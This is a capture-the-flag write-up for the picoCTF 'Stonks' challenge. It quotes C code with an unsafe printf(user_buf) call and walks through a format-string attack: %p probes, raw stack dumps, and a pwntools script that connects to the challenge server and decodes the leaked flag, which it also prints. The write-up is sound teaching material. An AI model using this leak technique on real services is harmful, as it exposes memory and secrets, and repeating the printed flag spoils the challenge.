picoCTF: Stonks
Info #
Problem link - picoCTF: Stonks
Solution #
A vulnerable C code is provided. It is also running on a server which can be connected using nc mercury.picoctf.net 20195
. Instead of pasting the whole code, here is the vulnerable part -
// All we see is FLAAAGG
#define FLAG_BUFFER 128
// Ommited code
int buy_stonks(Portfolio *p) {
if (!p) {
return 1;
}
char api_buf[FLAG_BUFFER];
FILE *f = fopen("api","r");
if (!f) {
printf("Flag file not found. Contact an admin.\n");
exit(1);
}
fgets(api_buf, FLAG_BUFFER, f);
.
.
.
.
// TODO: Figure out how to read token from file, for now just ask
char *user_buf = malloc(300 + 1);
printf("What is your API token?\n");
scanf("%300s", user_buf);
printf("Buying stonks with token:\n");
printf(user_buf); // <----- Vulnerable part
// TODO: Actually use key to interact with API
view_portfolio(p);
return 0;
}
Glancing at the last printf
in the above code can reveal that we can do string format attack
.
printf(user_buf);
Let’s check if it is possible or not by passing string format, for e.g. %p -
Welcome back to the trading app!
What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%p
Buying stonks with token:
0x8636410
Portfolio as of Wed Mar 9 14:12:50 UTC 2022
1 shares of EM
2 shares of JO
15 shares of JIU
24 shares of YEZZ
9 shares of IDFO
86 shares of XT
179 shares of L
1237 shares of WWCQ
397 shares of JYUF
Goodbye!
So, it is working. %p
is giving up the value from stack frame.
Now we can pass multiple %p
to get as much as we can from the stack frame. The variable user_buf
is where our flag is kept. Here is the result after entering "%p." * 100
(dot for separation) -
0x9085410.0x804b000.0x80489c3.0xf7eedd80.0xffffffff.0x1.0x9083160.0xf7efb110.0xf7eeddc7.(nil).0x9084180.0x1.0x90853f0.0x9085410.0x6f636970.0x7b465443.0x306c5f49.0x345f7435.0x6d5f6c6c.0x306d5f79.0x5f79336e.0x35343036.0x64303664.0xffa7007d.0xf7f28af8.0xf7efb440.0xf6b4b900.0x1.(nil).0xf7d8ace9.0xf7efc0c0.0xf7eed5c0.0xf7eed000.0xffa78928.0xf7d7b68d.0xf7eed5c0.0x8048eca.0xffa78934.(nil).0xf7f0ff09.0x804b000.0xf7eed000.0xf7eede20.0xffa78968.0xf7f15d50.0xf7eee890.0xf6b4b900.0xf7eed000.0x804b000.0xffa78968.0x8048c86.0x9083160.0xffa78954.0xffa78968.0x8048be9.0xf7eed3fc.(nil).0xffa78a1c.0xffa78a14.0x1.0x1.0x9083160.0xf6b4b900.0xffa78980.(nil).(nil).0xf7d30fa1.0xf7eed000.0xf7eed000.(nil).0xf7d30fa1.0x1.0xffa78a14.0xffa78a1c.0xffa789a4.0x1.(nil).0xf7eed000.0xf7f1070a.0xf7f28000.(nil).0xf7eed000.(nil).(nil).0xb2f522cd.0x5bf8e4dd.(nil).(nil).(nil).0x1.0x8048630.(nil).0xf7f15d50.0xf7f10960.0x804b000.0x1.0x8048630.(nil).0x8048662.0x8048b85.
Let’s convert this hex value to ASCII and see if there is something interesting -
output = "0x9085410.0x804b000.0x80489c3.0xf7eedd80.0xffffffff.0x1.0x9083160.0xf7efb110.0xf7eeddc7.(nil).0x9084180.0x1.0x90853f0.0x9085410.0x6f636970.0x7b465443.0x306c5f49.0x345f7435.0x6d5f6c6c.0x306d5f79.0x5f79336e.0x35343036.0x64303664.0xffa7007d.0xf7f28af8.0xf7efb440.0xf6b4b900.0x1.(nil).0xf7d8ace9.0xf7efc0c0.0xf7eed5c0.0xf7eed000.0xffa78928.0xf7d7b68d.0xf7eed5c0.0x8048eca.0xffa78934.(nil).0xf7f0ff09.0x804b000.0xf7eed000.0xf7eede20.0xffa78968.0xf7f15d50.0xf7eee890.0xf6b4b900.0xf7eed000.0x804b000.0xffa78968.0x8048c86.0x9083160.0xffa78954.0xffa78968.0x8048be9.0xf7eed3fc.(nil).0xffa78a1c.0xffa78a14.0x1.0x1.0x9083160.0xf6b4b900.0xffa78980.(nil).(nil).0xf7d30fa1.0xf7eed000.0xf7eed000.(nil).0xf7d30fa1.0x1.0xffa78a14.0xffa78a1c.0xffa789a4.0x1.(nil).0xf7eed000.0xf7f1070a.0xf7f28000.(nil).0xf7eed000.(nil).(nil).0xb2f522cd.0x5bf8e4dd.(nil).(nil).(nil).0x1.0x8048630.(nil).0xf7f15d50.0xf7f10960.0x804b000.0x1.0x8048630.(nil).0x8048662.0x8048b85.".split(".")
from binascii import unhexlify as uh
for i in output:
if (i.startswith("0x") and len(i)==10):
print(uh(i[2:].strip()))
Here is the output -
b'\xf7\xee\xdd\x80'
b'\xff\xff\xff\xff'
b'\xf7\xef\xb1\x10'
b'\xf7\xee\xdd\xc7'
b'ocip'
b'{FTC'
b'0l_I'
b'4_t5'
b'm_ll'
b'0m_y'
b'_y3n'
b'5406'
b'd06d'
b'\xff\xa7\x00}'
b'\xf7\xf2\x8a\xf8'
b'\xf7\xef\xb4@'
b'\xf6\xb4\xb9\x00'
b'\xf7\xd8\xac\xe9'
b'\xf7\xef\xc0\xc0'
b'\xf7\xee\xd5\xc0'
.
.
.
On line 5, you can spot pico
in reverse. Followed by CTF{
in reverse as well.
Let’s write final code to get the flag -
######################
# Get data from server
######################
from pwn import *
conn = remote("mercury.picoctf.net", 20195)
conn.recvuntil(b'View my portfolio')
conn.send(b'1\n')
conn.recvuntil(b'What is your API token?\n')
conn.send(b'%p###'*100 + b'\n')
# Useless line(Buying stonks with token:)
# Recieve and discard
conn.recvline()
# Our output
output = conn.recvline().decode("utf-8").split("###")
print('\n'*3)
print(output)
print('\n'*3)
# Close connection
conn.close()
###########################
# Find flag from the output
###########################
from binascii import unhexlify as uh
flag = ""
for i in output:
if (i.startswith("0x")):
try:
unhexed = uh((i[2:].strip()))[::-1]
flag += (unhexed).decode("utf-8")
except:
pass
print(flag)
PS > The output doesn’t have the closing curly braces. (some bug which I didn’t want to fix out of laziness)
Flag #
Here is the flag -
picoCTF{I_l05t_4ll_my_m0n3y_6045d60d}